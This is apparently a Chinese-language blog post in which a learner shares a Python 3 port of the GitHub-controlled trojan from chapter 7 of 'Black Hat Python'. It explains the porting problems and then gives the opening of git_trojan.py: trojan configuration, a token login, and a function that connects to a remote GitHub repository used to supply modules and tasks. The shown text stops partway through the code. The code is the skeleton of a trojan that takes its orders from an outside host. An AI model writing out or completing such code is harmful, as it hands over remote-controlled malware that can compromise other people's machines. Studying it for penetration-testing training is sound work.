git_trojan.py
最近在学习python黑帽子-黑客与渗透测试变成之道chapter7,如果你也遇到了问题可以参考我的代码。
问题1.这本书用Python2写的,我们现在用的都是python3,不改相应代码,调不通。
问题2.有些代码不能用了,比如tree =branch.commit.commit.tree.recurse()要重新修改。
问题3.使用github3.py跟github交互的时候无法获取repo,branch。
问题4.imp模块,系统会提示imp模块已弃用,推荐使用importlib,虽然能用,但是强迫症看着很难受。
所有问题都在代码中解决,希望对坚持学习的你有一定的帮助。
# 注意导入模块,我没有导入imp模块,也没有导入importlib模块,原先的import imp模块换成了import types
import base64
import json
import os
import queue
import random
import sys
import threading
import time
import types
from github3 import login
trojan_id = "abc"
trojan_config = "%s.json" % trojan_id
data_path = "data/%s/" % trojan_id
trojan_modules = []
configured = False
task_queue = queue.Queue()
token = 'xxxxxxxxxxxxxxxxxxxxxxxxxx'
"""
token 是我在自己的github账号上生成的令牌,很简单,研究下生成一个就行,用令牌登录
是因为不知道为什么使用账号、密码跟github交互的时候进不去,所以用的令牌,如果你知道为什么的话可以留言告诉我,谢谢。
"""
# 跟github交互得到repo,branch
def connect_to_github():
gh = login(token=token)
repo = gh.repository("用户名", "仓库名")
branch = repo.branch("分支名一般为master")
return gh, repo, branch
# 从远程repo中抓取文件
def get_file_contents(filepath)